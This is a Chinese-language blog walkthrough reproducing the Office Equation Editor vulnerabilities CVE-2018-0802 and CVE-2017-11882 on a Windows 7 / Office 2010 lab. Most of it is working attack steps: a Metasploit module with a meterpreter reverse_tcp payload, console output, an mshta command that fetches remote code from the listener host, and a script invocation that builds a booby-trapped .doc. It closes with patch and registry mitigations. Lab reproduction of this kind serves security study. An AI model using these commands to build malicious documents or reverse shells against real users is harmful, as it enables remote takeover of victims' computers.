CVE-2018-0802 office噩梦公式二代复现

漏洞说明

在CVE-2017-11882之后,2018年1月份又出了一个新的“噩梦公式二代”,在野样本嵌入了利用Nday漏洞和0day漏洞的2个公式对象同时进行攻击,Nday漏洞可以攻击未打补丁的系统,0day漏洞则攻击全补丁系统,绕过了CVE-2017-11882补丁的ASLR(地址随机化)安全保护措施,攻击最终将在用户电脑中植入恶意的远程控制程序。关于此漏洞的分析,可以看这里,今天看到在github公开了一个CVE-2018-0802的利用脚本,地址在这,为了达到最完美的利用,所以编写了RTF_11882_0802。

测试存在方法

与之前的利用CVE-2017-11882一样的利用方式,

Github地址:https://github.com/Ridter/RTF_11882_0802/

Poc Github地址:https://github.com/starnightcyber/CVE-2017-11882

本地测试环境:windows 7+office2010

metasploit下复现

将github CVE-2017-11882下载回来将脚本PS_shell.rb放到metasploit exploit的某个路径下:

我的kali下的metasploit所在路径是:/usr/share/metasploit-framework,

可以放在如下目录:(这里我们新创建一个word目录存放这个脚本)

脚本放置路径:/usr/share/metasploit-framework/modules/exploits/windows/word/
root@kali-Cotton:~/桌面# mv PS_shell.rb /usr/share/metasploit-framework/modules/exploits/windows/word    //将poc移动到目录下

Metasploit下直接加载就行了:

msf > use exploit/windows/word/PS_shell 
msf exploit(windows/word/PS_shell) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcp
msf exploit(windows/word/PS_shell) > set lhost 192.168.135.100
lhost => 192.168.135.100
msf exploit(windows/word/PS_shell) > set uripath 123
uripath => 123
msf exploit(windows/word/PS_shell) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.135.100:4444 
msf exploit(windows/word/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123
[*] Local IP: http://192.168.135.100:8080/123
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.135.100:8080/123"

《CVE-2018-0802 office噩梦公式二代复现》上面可以看出,我们要连接到这个地址:http://192.168.135.100:8080/123
我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:

python RTF_11882_0802.py -c "mshta http://192.168.135.100:8080/123" -o test.doc

《CVE-2018-0802 office噩梦公式二代复现》其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。

“噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。

解决方案

一、及时更新补丁

补丁下载地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802

二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号

在运行中输入:

reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
点赞